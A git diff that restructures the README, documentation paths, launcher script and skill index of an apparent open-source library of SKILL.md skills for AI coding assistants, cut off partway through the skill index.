-- 🟣 **Claude Code** (Anthropic CLI)
-- 🔵 **Gemini CLI** (Google DeepMind)
-- 🟢 **Codex CLI** (OpenAI)
-- 🟠 **Kiro CLI** (AWS)
-- 🟠 **Kiro IDE** (AWS)
-- 🔴 **Antigravity IDE** (Google DeepMind)
-- 🩵 **GitHub Copilot** (VSCode Extension)
-- 🟠 **Cursor** (AI-native IDE)
-- ⚪ **OpenCode** (Open-source CLI)
-- 🌸 **AdaL CLI** (Self-evolving Coding Agent)
+> **🌟 21,000+ GitHub Stars Milestone!** Thank you to the community for turning this into one of the largest skill libraries in this category.
-This repository provides essential skills to transform your AI assistant into a **full-stack digital agency**, including official capabilities from **Anthropic**, **OpenAI**, **Google**, **Microsoft**, **Supabase**, **Apify**, and **Vercel Labs**.
+## Quick Start
-## Table of Contents
-
-- [🚀 New Here? Start Here!](#new-here-start-here)
-- [📖 Complete Usage Guide](docs/USAGE.md) - **Start here if confused after installation!**
-- [🔌 Compatibility & Invocation](#compatibility--invocation)
-- [🛠️ Installation](#installation)
-- [🧯 Troubleshooting](#troubleshooting)
-- [🎁 Curated Collections (Bundles)](#curated-collections)
-- [🧭 Antigravity Workflows](#antigravity-workflows)
-- [📦 Features & Categories](#features--categories)
-- [📚 Browse 1,200+ Skills](#browse-1200-skills)
-- [🤝 How to Contribute](#how-to-contribute)
-- [💬 Community](#community)
-- [☕ Support the Project](#support-the-project)
-- [🏆 Credits & Sources](#credits--sources)
-- [👥 Repo Contributors](#repo-contributors)
-- [⚖️ License](#license)
-- [🌟 Star History](#star-history)
-
----
-
-## New Here? Start Here!
-
-**Welcome to the V7.0.0 20k Stars Celebration Release!** 🎉 This isn't just a list of scripts; it's a complete operating system for your AI Agent.
-
-> **🌟 20,000+ GitHub Stars Milestone!** Thank you to our incredible community for making this the most comprehensive agentic skills collection ever created.
-
-### 1. 🐣 Context: What is this?
-
-**Antigravity Awesome Skills** (Release 7.0.0) is a massive upgrade to your AI's capabilities, now featuring **1,200+ skills** from 35+ community repositories.
-
-AI Agents (like Claude Code, Cursor, or Gemini) are smart, but they lack **specific tools**. They don't know your company's "Deployment Protocol" or the specific syntax for "AWS CloudFormation".
-**Skills** are small markdown files that teach them how to do these specific tasks perfectly, every time.
-
-### 2. ⚡️ Quick Start (1 minute)
-
-Install once; then use Starter Packs in [docs/BUNDLES.md](docs/BUNDLES.md) to focus on your role.
-
-1. **Install**:
-
- ```bash
- # Default: ~/.gemini/antigravity/skills (Antigravity global). Use --path for other locations.
- npx antigravity-awesome-skills
- ```
-
-2. **Verify**:
-
- ```bash
- test -d ~/.gemini/antigravity/skills && echo "Skills installed in ~/.gemini/antigravity/skills"
- ```
-
-3. **Run your first skill**:
-
- > "Use **@brainstorming** to plan a SaaS MVP."
-
-4. **Pick a bundle**:
- - **Web Dev?** start with `Web Wizard`.
- - **Security?** start with `Security Engineer`.
- - **General use?** start with `Essentials`.
-
-### 3. 🧠 How to use
-
-Once installed, just ask your agent naturally:
-
-> "Use the **@brainstorming** skill to help me plan a SaaS."
-> "Run **@lint-and-validate** on this file."
-
-👉 **NEW:** [**Complete Usage Guide - Read This First!**](docs/USAGE.md) (answers: "What do I do after installation?", "How do I execute skills?", "What should prompts look like?")
-
-👉 **[Full Getting Started Guide](docs/GETTING_STARTED.md)**
-
----
-
-## Compatibility & Invocation
-
-These skills follow the universal **SKILL.md** format and work with any AI coding assistant that supports agentic skills.
-
-| Tool | Type | Invocation Example | Path |
-| :-------------- | :--- | :-------------------------------- | :-------------------------------------------------------------------- |
-| **Claude Code** | CLI | `>> /skill-name help me...` | `.claude/skills/` |
-| **Gemini CLI** | CLI | `(User Prompt) Use skill-name...` | `.gemini/skills/` |
-| **Codex CLI** | CLI | `(User Prompt) Use skill-name...` | `.codex/skills/` |
-| **Kiro CLI** | CLI | `(Auto) Skills load on-demand` | Global: `~/.kiro/skills/` · Workspace: `.kiro/skills/` |
-| **Kiro IDE** | IDE | `/skill-name or (Auto)` | Global: `~/.kiro/skills/` · Workspace: `.kiro/skills/` |
-| **Antigravity** | IDE | `(Agent Mode) Use skill...` | Global: `~/.gemini/antigravity/skills/` · Workspace: `.agent/skills/` |
-| **Cursor** | IDE | `@skill-name (in Chat)` | `.cursor/skills/` |
-| **Copilot** | Ext | `(Paste content manually)` | N/A |
-| **OpenCode** | CLI | `opencode run @skill-name` | `.agents/skills/` |
-| **AdaL CLI** | CLI | `(Auto) Skills load on-demand` | `.adal/skills/` |
-
-> [!TIP]
-> **Default installer path**: `~/.gemini/antigravity/skills` (Antigravity global). Use `--path ~/.agent/skills` for workspace-specific install. For manual clone, `.agent/skills/` works as workspace path for Antigravity.
-> **OpenCode Path Update**: opencode path is changed to `.agents/skills` for global skills. See [Place Files](https://opencode.ai/docs/skills/#place-files) directive on OpenCode Docs.
-
-> [!WARNING]
-> **Windows Users**: this repository uses **symlinks** for official skills.
-> See [Troubleshooting](#troubleshooting) for the exact fix.
-
----
-
-## Installation
-
-To use these skills with **Claude Code**, **Gemini CLI**, **Codex CLI**, **Kiro CLI**, **Kiro IDE**, **Cursor**, **Antigravity**, **OpenCode**, or **AdaL**:
-
-### Option A: npx (recommended)
+1. Install once:
```bash
-# Default: ~/.gemini/antigravity/skills (Antigravity global)
-npx antigravity-awesome-skills
-
-# Antigravity (explicit; same as default)
-npx antigravity-awesome-skills --antigravity
-
-# Kiro CLI/IDE (global)
-npx antigravity-awesome-skills --path ~/.kiro/skills
-
-# Kiro CLI/IDE (workspace)
-npx antigravity-awesome-skills --path .kiro/skills
-
-# Cursor
-npx antigravity-awesome-skills --cursor
-
-# Claude Code
-npx antigravity-awesome-skills --claude
-
-# Gemini CLI
-npx antigravity-awesome-skills --gemini
-
-# Codex CLI
-npx antigravity-awesome-skills --codex
-
-# Kiro CLI
-npx antigravity-awesome-skills --kiro
-
-# OpenCode
-npx antigravity-awesome-skills --path .agents/skills
-
-# AdaL CLI
-npx antigravity-awesome-skills --path .adal/skills
-
-# Workspace-specific (e.g. .agent/skills for Antigravity workspace)
-npx antigravity-awesome-skills --path ~/.agent/skills
-
-# Custom path
-npx antigravity-awesome-skills --path ./my-skills
-```
-
-Run `npx antigravity-awesome-skills --help` for all options. If the directory already exists, the installer runs `git pull` to update.
-
-### Option B: git clone
-
-Without `--path`, the npx installer uses `~/.gemini/antigravity/skills`. For manual clone or a different path (e.g. workspace `.agent/skills`), use one of the following:
-
-```bash
-# Antigravity global (matches npx default)
-git clone https://github.com/sickn33/antigravity-awesome-skills.git ~/.gemini/antigravity/skills
-
-# Workspace-specific (e.g. .agent/skills in your project)
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-
-# Kiro CLI/IDE global
-git clone https://github.com/sickn33/antigravity-awesome-skills.git ~/.kiro/skills
-
-# Claude Code specific
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .claude/skills
-
-# Gemini CLI specific
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .gemini/skills
-
-# Codex CLI specific
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .codex/skills
-
-# Cursor specific
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .cursor/skills
-
-# OpenCode
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .agents/skills
-
-# AdaL CLI specific
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .adal/skills
-```
-
-### Option C: Kiro IDE Import (GUI)
-
-For Kiro IDE users, you can import individual skills directly:
-
-1. Open **Agent Steering & Skills** panel in Kiro IDE
-2. Click **+** → **Import a skill** → **GitHub**
-3. Paste skill URL: `https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/[skill-name]`
-4. Example: `https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/aws-cost-optimizer`
-
-> **Note**: This imports one skill at a time. For bulk installation, use Option A or B above.
-
----
-
-## Troubleshooting
-
-### `npx antigravity-awesome-skills` returns 404
-
-Use the GitHub package fallback:
-
-```bash
-npx github:sickn33/antigravity-awesome-skills
-```
-
-### Windows clone issues (symlinks)
-
-This repository uses symlinks for official skills. Enable Developer Mode or run Git as Administrator, then clone with:
-
-```bash
-git clone -c core.symlinks=true https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-```
-
-### Skills installed but not detected by your tool
-
-Install to the tool-specific path. Use installer flags: `--antigravity` (default), `--claude`, `--gemini`, `--codex`, `--cursor`, or `--path
` for a custom location (e.g. `~/.agent/skills` for Antigravity workspace).
-
-### Update an existing installation
-
-**Good news!** You no longer need to manually run `git pull` or `npx antigravity-awesome-skills` to update your skills.
-
-- **Windows:** Double-click **`START_APP.bat`** (or run it in your terminal).
-- **macOS/Linux:** Run `cd web-app && npm run app:dev` from the repo root.
-
-Both methods automatically fetch and merge the latest skills from the original repository every time you open the Web App, ensuring you always have the most up-to-date catalog.
-
-### Reinstall from scratch
-
-```bash
-rm -rf ~/.gemini/antigravity/skills
npx antigravity-awesome-skills
```
----
-
-## Curated Collections
-
-**Bundles** are curated groups of skills for a specific role or goal (for example: `Web Wizard`, `Security Engineer`, `OSS Maintainer`).
-
-They help you avoid picking from 1006+ skills one by one.
-
-### ⚠️ Important: Bundles Are NOT Separate Installations!
-
-**Common confusion:** "Do I need to install each bundle separately?"
-
-**Answer: NO!** Here's what bundles actually are:
-
-**What bundles ARE:**
-
-- ✅ Recommended skill lists organized by role
-- ✅ Curated starting points to help you decide what to use
-- ✅ Time-saving shortcuts for discovering relevant skills
-
-**What bundles are NOT:**
-
-- ❌ Separate installations or downloads
-- ❌ Different git commands
-- ❌ Something you need to "activate"
-
-### How to use bundles:
-
-1. **Install the repository once** (you already have all skills)
-2. **Browse bundles** in [docs/BUNDLES.md](docs/BUNDLES.md) to find your role
-3. **Pick 3-5 skills** from that bundle to start using in your prompts
-4. **Reference them in your conversations** with your AI (e.g., "Use @brainstorming...")
-
-For detailed examples of how to actually use skills, see the [**Usage Guide**](docs/USAGE.md).
-
-### Examples:
-
-- Building a SaaS MVP: `Essentials` + `Full-Stack Developer` + `QA & Testing`.
-- Hardening production: `Security Developer` + `DevOps & Cloud` + `Observability & Monitoring`.
-- Shipping OSS changes: `Essentials` + `OSS Maintainer`.
-
-## Antigravity Workflows
-
-Bundles help you choose skills. Workflows help you execute them in order.
-
-- Use bundles when you need curated recommendations by role.
-- Use workflows when you need step-by-step execution for a concrete goal.
-
-Start here:
-
-- [docs/WORKFLOWS.md](docs/WORKFLOWS.md): human-readable playbooks.
-- [data/workflows.json](data/workflows.json): machine-readable workflow metadata.
-
-Initial workflows include:
-
-- Ship a SaaS MVP
-- Security Audit for a Web App
-- Build an AI Agent System
-- QA and Browser Automation (with optional `@go-playwright` support for Go stacks)
-
-## Features & Categories
-
-The repository is organized into specialized domains to transform your AI into an expert across the entire software development lifecycle:
-
-| Category | Focus | Example skills |
-| :------------- | :------------------------------------------------- | :------------------------------------------------------------------------------ |
-| Architecture | System design, ADRs, C4, and scalable patterns | `architecture`, `c4-context`, `senior-architect` |
-| Business | Growth, pricing, CRO, SEO, and go-to-market | `copywriting`, `pricing-strategy`, `seo-audit` |
-| Data & AI | LLM apps, RAG, agents, observability, analytics | `rag-engineer`, `prompt-engineer`, `langgraph` |
-| Development | Language mastery, framework patterns, code quality | `typescript-expert`, `python-patterns`, `react-patterns` |
-| General | Planning, docs, product ops, writing, guidelines | `brainstorming`, `doc-coauthoring`, `writing-plans` |
-| Infrastructure | DevOps, cloud, serverless, deployment, CI/CD | `docker-expert`, `aws-serverless`, `vercel-deployment` |
-| Security | AppSec, pentesting, vuln analysis, compliance | `api-security-best-practices`, `sql-injection-testing`, `vulnerability-scanner` |
-| Testing | TDD, test design, fixes, QA workflows | `test-driven-development`, `testing-patterns`, `test-fixing` |
-| Workflow | Automation, orchestration, jobs, agents | `workflow-automation`, `inngest`, `trigger-dev` |
-
-Counts change as new skills are added. For the current full registry, see [CATALOG.md](CATALOG.md).
-
-## Browse 1,200+ Skills
-
-We have moved the full skill registry to a dedicated catalog to keep this README clean, and we've also introduced an interactive **Web App**!
-
-### 🌐 Interactive Skills Web App
-
-A modern web interface to explore, search, and use the 1,200+ skills directly from your browser.
-
-#### ✨ Features
-
-- 🔍 **Full-text search** – Search skills by name, description, or content
-- 🏷️ **Category filters** – Frontend, Backend, Security, DevOps, etc.
-- 📝 **Markdown rendering** – View complete documentation with syntax highlighting
-- 📋 **Copy buttons** – Copy `@skill-name` or full content in 1 click
-- 🛠️ **Prompt Builder** – Add custom context before copying
-- 🌙 **Dark mode** – Adaptive light/dark interface
-- ⚡ **Auto-update** – Automatically syncs with upstream repo
-
-#### 🚀 Quick Start
-
-**Windows:**
+2. Verify the default install:
```bash
-# Double-click or terminal
-START_APP.bat
+test -d ~/.gemini/antigravity/skills && echo "Skills installed"
```
-**macOS/Linux:**
+3. Use your first skill:
+
+```text
+Use @brainstorming to plan a SaaS MVP.
+```
+
+4. Browse starter collections in [`docs/users/bundles.md`](docs/users/bundles.md) and execution playbooks in [`docs/users/workflows.md`](docs/users/workflows.md).
+
+## Choose Your Tool
+
+| Tool | Install | First Use |
+| --- | --- | --- |
+| Claude Code | `npx antigravity-awesome-skills --claude` | `>> /brainstorming help me plan a feature` |
+| Cursor | `npx antigravity-awesome-skills --cursor` | `@brainstorming help me plan a feature` |
+| Gemini CLI | `npx antigravity-awesome-skills --gemini` | `Use brainstorming to plan a feature` |
+| Codex CLI | `npx antigravity-awesome-skills --codex` | `Use brainstorming to plan a feature` |
+| Antigravity | `npx antigravity-awesome-skills --antigravity` | `Use @brainstorming to plan a feature` |
+| Custom path | `npx antigravity-awesome-skills --path ./my-skills` | Depends on your tool |
+
+## What This Repo Includes
+
+- **Skills library**: `skills/` contains the reusable `SKILL.md` collection.
+- **Installer**: the npm CLI installs skills into the right directory for each tool.
+- **Catalog**: [`CATALOG.md`](CATALOG.md), `skills_index.json`, and `data/` provide generated indexes.
+- **Web app**: [`apps/web-app`](apps/web-app) gives you search, filters, rendering, and copy helpers.
+- **Bundles**: [`docs/users/bundles.md`](docs/users/bundles.md) groups starter skills by role.
+- **Workflows**: [`docs/users/workflows.md`](docs/users/workflows.md) gives step-by-step execution playbooks.
+
+## Project Structure
+
+| Path | Purpose |
+| --- | --- |
+| `skills/` | The canonical skill library |
+| `docs/users/` | Getting started, usage, bundles, workflows, visual guides |
+| `docs/contributors/` | Templates, anatomy, examples, quality bar, community docs |
+| `docs/maintainers/` | Release, audit, CI drift, metadata maintenance docs |
+| `docs/sources/` | Attribution and licensing references |
+| `apps/web-app/` | Interactive browser for the skill catalog |
+| `tools/` | Installer, validators, generators, and support scripts |
+| `data/` | Generated catalog, aliases, bundles, and workflows |
+
+## Top Starter Skills
+
+- `@brainstorming` for planning before implementation.
+- `@architecture` for system and component design.
+- `@test-driven-development` for TDD-oriented work.
+- `@doc-coauthoring` for structured documentation writing.
+- `@lint-and-validate` for lightweight quality checks.
+- `@create-pr` for packaging work into a clean pull request.
+- `@debugging-strategies` for systematic troubleshooting.
+- `@api-design-principles` for API shape and consistency.
+- `@frontend-design` for UI and interaction quality.
+- `@security-auditor` for security-focused reviews.
+
+## Three Real Examples
+
+```text
+Use @brainstorming to turn this product idea into a concrete MVP plan.
+```
+
+```text
+Use @security-auditor to review this API endpoint for auth and validation risks.
+```
+
+```text
+Use @doc-coauthoring to rewrite our setup guide for first-time contributors.
+```
+
+## Browse 1,204+ Skills
+
+- Open the interactive browser in [`apps/web-app`](apps/web-app).
+- Read the full catalog in [`CATALOG.md`](CATALOG.md).
+- Start with role-based bundles in [`docs/users/bundles.md`](docs/users/bundles.md).
+- Follow outcome-driven workflows in [`docs/users/workflows.md`](docs/users/workflows.md).
+- Use the onboarding guides in [`docs/users/getting-started.md`](docs/users/getting-started.md) and [`docs/users/usage.md`](docs/users/usage.md).
+
+## Documentation
+
+| For Users | For Contributors | For Maintainers |
+| --- | --- | --- |
+| [`docs/users/getting-started.md`](docs/users/getting-started.md) | [`CONTRIBUTING.md`](CONTRIBUTING.md) | [`docs/maintainers/release-process.md`](docs/maintainers/release-process.md) |
+| [`docs/users/usage.md`](docs/users/usage.md) | [`docs/contributors/skill-anatomy.md`](docs/contributors/skill-anatomy.md) | [`docs/maintainers/audit.md`](docs/maintainers/audit.md) |
+| [`docs/users/faq.md`](docs/users/faq.md) | [`docs/contributors/quality-bar.md`](docs/contributors/quality-bar.md) | [`docs/maintainers/ci-drift-fix.md`](docs/maintainers/ci-drift-fix.md) |
+| [`docs/users/visual-guide.md`](docs/users/visual-guide.md) | [`docs/contributors/examples.md`](docs/contributors/examples.md) | [`docs/maintainers/skills-update-guide.md`](docs/maintainers/skills-update-guide.md) |
+
+## Web App
+
+The web app is the fastest way to navigate a large repository like this.
```bash
-# 1. Install dependencies (first time)
-cd web-app && npm install
-
-# 2. Setup assets and launch
+npm run app:install
npm run app:dev
```
-**Available npm commands:**
+That will copy the generated skill index into `apps/web-app/public/skills.json`, mirror the current `skills/` tree into `apps/web-app/public/skills/`, and start the Vite development server.
-```bash
-npm run app:setup # Copy skills to web-app/public/
-npm run app:dev # Start dev server
-npm run app:build # Production build
-npm run app:preview # Preview production build
-```
+## Contributing
-The app automatically opens at `http://localhost:5173` (or alternative port).
-
-#### 🛠️ Interactive Prompt Builder
-
-On each skill page you'll find the **Interactive Prompt Builder**. Instead of manually copying `@skill-name` and writing your requirements separately in your IDE:
-
-1. Type your specific project constraints into the text box (e.g., "Use React 19, TypeScript and Tailwind").
-2. Click **Copy Prompt** — copies a fully formatted, ready-to-run prompt combining `@skill-name` + your custom context.
-3. Or click **Copy Full Content** — copies the full skill documentation.
-4. Paste into your AI assistant (Claude, Cursor, Gemini, etc.).
-
-👉 **[View the Complete Skill Catalog (CATALOG.md)](CATALOG.md)**
-
----
-
-## How to Contribute
-
-We welcome contributions from the community! To add a new skill:
-
-1. **Fork** the repository.
-2. **Create a new directory** inside `skills/` for your skill.
-3. **Add a `SKILL.md`** with the required frontmatter (name, description, risk, source). See [docs/SKILL_ANATOMY.md](docs/SKILL_ANATOMY.md) and [docs/QUALITY_BAR.md](docs/QUALITY_BAR.md).
-4. **Add date tracking** (optional): Include `date_added: "YYYY-MM-DD"` in frontmatter. See [docs/SKILLS_DATE_TRACKING.md](docs/SKILLS_DATE_TRACKING.md) for details.
-5. **Run validation**: `npm run validate` (or `npm run validate:strict` for CI). Optionally run `python3 scripts/validate_references.py` if you touch workflows or bundles.
-6. **Submit a Pull Request**.
-
-Please ensure your skill follows the Antigravity/Claude Code best practices. Maintainers: see [docs/AUDIT.md](docs/AUDIT.md) for coherence checks and [.github/MAINTENANCE.md](.github/MAINTENANCE.md) for the full validation chain.
-
----
+- Add new skills under `skills//SKILL.md`.
+- Follow the contributor guide in [`CONTRIBUTING.md`](CONTRIBUTING.md).
+- Use the template in [`docs/contributors/skill-template.md`](docs/contributors/skill-template.md).
+- Validate with `npm run validate` before opening a PR.
## Community
-- [Community Guidelines](docs/COMMUNITY_GUIDELINES.md)
-- [Security Policy](docs/SECURITY_GUARDRAILS.md)
-
----
+- [Discussions](https://github.com/sickn33/antigravity-awesome-skills/discussions) for questions and feedback.
+- [Issues](https://github.com/sickn33/antigravity-awesome-skills/issues) for bugs and improvement requests.
+- [`SECURITY.md`](SECURITY.md) for security reporting.
## Support the Project
-Support is optional. This project stays free and open-source for everyone.
+Support is optional. The project stays free and open-source for everyone.
-If this repository saves you time or helps you ship faster, you can support ongoing maintenance:
-
-- [☕ Buy me a book on Buy Me a Coffee](https://buymeacoffee.com/sickn33)
-
-Where support goes:
-
-- Skill curation, testing, and quality validation.
-- Documentation updates, examples, and onboarding improvements.
-- Faster triage and review of community issues and PRs.
-
-Prefer non-financial support:
-
-- Star the repository.
-- Open clear, reproducible issues.
-- Submit PRs (skills, docs, fixes).
-- Share the project with other builders.
+- [Buy me a book on Buy Me a Coffee](https://buymeacoffee.com/sickn33)
+- Star the repository
+- Open reproducible issues
+- Contribute docs, fixes, and skills
---
@@ -455,7 +153,7 @@ Prefer non-financial support:
We stand on the shoulders of giants.
-👉 **[View the Full Attribution Ledger](docs/SOURCES.md)**
+👉 **[View the Full Attribution Ledger](docs/sources/sources.md)**
Key contributors and sources include:
@@ -513,7 +211,7 @@ This collection would not be possible without the incredible work of the Claude
- **[f/awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts)**: Inspiration for the Prompt Library.
- **[leonardomso/33-js-concepts](https://github.com/leonardomso/33-js-concepts)**: Inspiration for JavaScript Mastery.
----
+### Additional Sources
- **[agent-cards/skill](https://github.com/agent-cards/skill)**: Manage prepaid virtual Visa cards for AI agents. Create cards, check balances, view credentials, close cards, and get support via MCP tools.
diff --git a/SECURITY.md b/SECURITY.md
index eb2ee0f5..508e2643 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -15,5 +15,5 @@ If you find a security vulnerability (e.g., a skill that bypasses the "Authorize
## Offensive Skills Policy
-Please read our [Security Guardrails](docs/SECURITY_GUARDRAILS.md).
+Please read our [Security Guardrails](docs/contributors/security-guardrails.md).
All offensive skills are strictly for **authorized educational and professional use only**.
diff --git a/SKILLS_UPDATE_GUIDE.md b/SKILLS_UPDATE_GUIDE.md
index 130925d6..1f0c1bcf 100644
--- a/SKILLS_UPDATE_GUIDE.md
+++ b/SKILLS_UPDATE_GUIDE.md
@@ -1,89 +1,3 @@
# Skills Update Guide
-This guide explains how to update the skills in the Antigravity Awesome Skills web application.
-
-## Automatic Updates (Recommended)
-
-The `START_APP.bat` file automatically checks for and updates skills when you run it. It uses multiple methods:
-
-1. **Git method** (if Git is installed): Fast and efficient
-2. **PowerShell download** (fallback): Works without Git
-
-## Manual Update Options
-
-### Option 1: Using npm script (Recommended for manual updates)
-```bash
-npm run update:skills
-```
-
-This command:
-- Generates the latest skills index from the skills directory
-- Copies it to the web app's public directory
-- Requires Python and PyYAML to be installed
-
-### Option 2: Using START_APP.bat (Integrated solution)
-```bash
-START_APP.bat
-```
-
-The START_APP.bat file includes integrated update functionality that:
-- Automatically checks for updates on startup
-- Uses Git if available (fast method)
-- Falls back to HTTPS download if Git is not installed
-- Handles all dependencies automatically
-- Provides clear status messages
-- Works without any additional setup
-
-### Option 3: Manual steps
-```bash
-# 1. Generate skills index
-python scripts/generate_index.py
-
-# 2. Copy to web app
-copy skills_index.json web-app\public\skills.json
-```
-
-## Prerequisites
-
-For manual updates, you need:
-
-- **Python 3.x**: Download from [python.org](https://python.org/)
-- **PyYAML**: Install with `pip install PyYAML`
-
-## Troubleshooting
-
-### "Python is not recognized"
-- Install Python from [python.org](https://python.org/)
-- Make sure to check "Add Python to PATH" during installation
-
-### "PyYAML not found"
-- Install with: `pip install PyYAML`
-- Or run the update script which will install it automatically
-
-### "Failed to copy skills"
-- Make sure the `web-app\public\` directory exists
-- Check file permissions
-
-## What Gets Updated
-
-The update process refreshes:
-- Skills index (`skills_index.json`)
-- Web app skills data (`web-app\public\skills.json`)
-- All 900+ skills from the skills directory
-
-## When to Update
-
-Update skills when:
-- New skills are added to the repository
-- You want the latest skill descriptions
-- Skills appear missing or outdated in the web app
-
-## Git Users
-
-If you have Git installed and want to update the entire repository:
-```bash
-git pull origin main
-npm run update:skills
-```
-
-This pulls the latest code and updates the skills data.
\ No newline at end of file
+This document moved to [`docs/maintainers/skills-update-guide.md`](docs/maintainers/skills-update-guide.md).
diff --git a/START_APP.bat b/START_APP.bat
index 6c183e01..fe11895e 100644
--- a/START_APP.bat
+++ b/START_APP.bat
@@ -15,7 +15,7 @@ IF %ERRORLEVEL% NEQ 0 (
)
:: Check/Install dependencies
-cd web-app
+cd apps\web-app
if not exist "node_modules\" (
echo [INFO] Dependencies not found. Installing...
@@ -43,7 +43,7 @@ if %ERRORLEVEL% NEQ 0 (
)
:DEPS_OK
-cd ..
+cd ..\..
:: Run setup script
echo [INFO] Updating skills data...
@@ -53,7 +53,7 @@ call npm run app:setup
echo [INFO] Starting Web App...
echo [INFO] Opening default browser...
echo [INFO] Use the Sync Skills button in the app to update skills from GitHub!
-cd web-app
+cd apps\web-app
call npx -y vite --open
endlocal
diff --git a/web-app/.env.example b/apps/web-app/.env.example
similarity index 100%
rename from web-app/.env.example
rename to apps/web-app/.env.example
diff --git a/web-app/.gitignore b/apps/web-app/.gitignore
similarity index 100%
rename from web-app/.gitignore
rename to apps/web-app/.gitignore
diff --git a/web-app/README.md b/apps/web-app/README.md
similarity index 100%
rename from web-app/README.md
rename to apps/web-app/README.md
diff --git a/web-app/eslint.config.js b/apps/web-app/eslint.config.js
similarity index 100%
rename from web-app/eslint.config.js
rename to apps/web-app/eslint.config.js
diff --git a/web-app/index.html b/apps/web-app/index.html
similarity index 100%
rename from web-app/index.html
rename to apps/web-app/index.html
diff --git a/web-app/package-lock.json b/apps/web-app/package-lock.json
similarity index 100%
rename from web-app/package-lock.json
rename to apps/web-app/package-lock.json
diff --git a/web-app/package.json b/apps/web-app/package.json
similarity index 100%
rename from web-app/package.json
rename to apps/web-app/package.json
diff --git a/web-app/postcss.config.js b/apps/web-app/postcss.config.js
similarity index 100%
rename from web-app/postcss.config.js
rename to apps/web-app/postcss.config.js
diff --git a/web-app/public/skills.json b/apps/web-app/public/skills.json.backup
similarity index 97%
rename from web-app/public/skills.json
rename to apps/web-app/public/skills.json.backup
index f9d52611..bfb19fa5 100644
--- a/web-app/public/skills.json
+++ b/apps/web-app/public/skills.json.backup
@@ -4,7 +4,7 @@
"path": "skills/00-andruia-consultant",
"category": "andruia",
"name": "00-andruia-consultant",
- "description": "Arquitecto de Soluciones Principal y Consultor Tecnol\u00f3gico de Andru.ia. Diagnostica y traza la hoja de ruta \u00f3ptima para proyectos de IA en espa\u00f1ol.",
+ "description": "Arquitecto de Soluciones Principal y Consultor Tecnológico de Andru.ia. Diagnostica y traza la hoja de ruta óptima para proyectos de IA en español.",
"risk": "safe",
"source": "personal",
"date_added": "2026-02-27"
@@ -14,7 +14,7 @@
"path": "skills/10-andruia-skill-smith",
"category": "andruia",
"name": "10-andruia-skill-smith",
- "description": "Ingeniero de Sistemas de Andru.ia. Dise\u00f1a, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Est\u00e1ndar de Diamante.",
+ "description": "Ingeniero de Sistemas de Andru.ia. Diseña, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Estándar de Diamante.",
"risk": "safe",
"source": "personal",
"date_added": "2026-02-25"
@@ -24,7 +24,7 @@
"path": "skills/20-andruia-niche-intelligence",
"category": "andruia",
"name": "20-andruia-niche-intelligence",
- "description": "Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho espec\u00edfico de un proyecto para inyectar conocimientos, regulaciones y est\u00e1ndares \u00fanicos del sector. Act\u00edvalo tras definir el nicho.",
+ "description": "Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho específico de un proyecto para inyectar conocimientos, regulaciones y estándares únicos del sector. Actívalo tras definir el nicho.",
"risk": "safe",
"source": "personal",
"date_added": "2026-02-27"
@@ -124,7 +124,7 @@
"path": "skills/agent-evaluation",
"category": "uncategorized",
"name": "agent-evaluation",
- "description": "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring\u2014where even top agents achieve less than 50% on re...",
+ "description": "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring—where even top agents achieve less than 50% on re...",
"risk": "unknown",
"source": "vibeship-spawner-skills (Apache 2.0)",
"date_added": "2026-02-27"
@@ -274,7 +274,7 @@
"path": "skills/ai-analyzer",
"category": "uncategorized",
"name": "ai-analyzer",
- "description": "AI\u9a71\u52a8\u7684\u7efc\u5408\u5065\u5eb7\u5206\u6790\u7cfb\u7edf\uff0c\u6574\u5408\u591a\u7ef4\u5ea6\u5065\u5eb7\u6570\u636e\u3001\u8bc6\u522b\u5f02\u5e38\u6a21\u5f0f\u3001\u9884\u6d4b\u5065\u5eb7\u98ce\u9669\u3001\u63d0\u4f9b\u4e2a\u6027\u5316\u5efa\u8bae\u3002\u652f\u6301\u667a\u80fd\u95ee\u7b54\u548cAI\u5065\u5eb7\u62a5\u544a\u751f\u6210\u3002",
+ "description": "AI驱动的综合健康分析系统,整合多维度健康数据、识别异常模式、预测健康风险、提供个性化建议。支持智能问答和AI健康报告生成。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -366,7 +366,7 @@
"name": "alpha-vantage",
"description": "Access real-time and historical stock market data, forex rates, cryptocurrency prices, commodities, economic indicators, and 50+ technical indicators via the Alpha Vantage API. Use when fetching stock prices (OHLCV), company fundamentals (income statement, balance sheet, cash...",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -686,7 +686,7 @@
"name": "apify-trend-analysis",
"description": "Discover and track emerging trends across Google Trends, Instagram, Facebook, YouTube, and TikTok to inform content strategy.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -2676,7 +2676,7 @@
"name": "burpsuite-project-parser",
"description": "Searches and explores Burp Suite project files (.burp) from the command line. Use when searching response headers or bodies with regex patterns, extracting security audit findings, dumping proxy history or site map data, or analyzing HTTP traffic captured in a Burp project.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -2986,7 +2986,7 @@
"name": "claimable-postgres",
"description": "Provision instant temporary Postgres databases via Claimable Postgres by Neon (pg.new). No login or credit card required. Use for quick Postgres environments and throwaway DATABASE_URL for prototyping.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -3334,7 +3334,7 @@
"path": "skills/commit",
"category": "uncategorized",
"name": "commit",
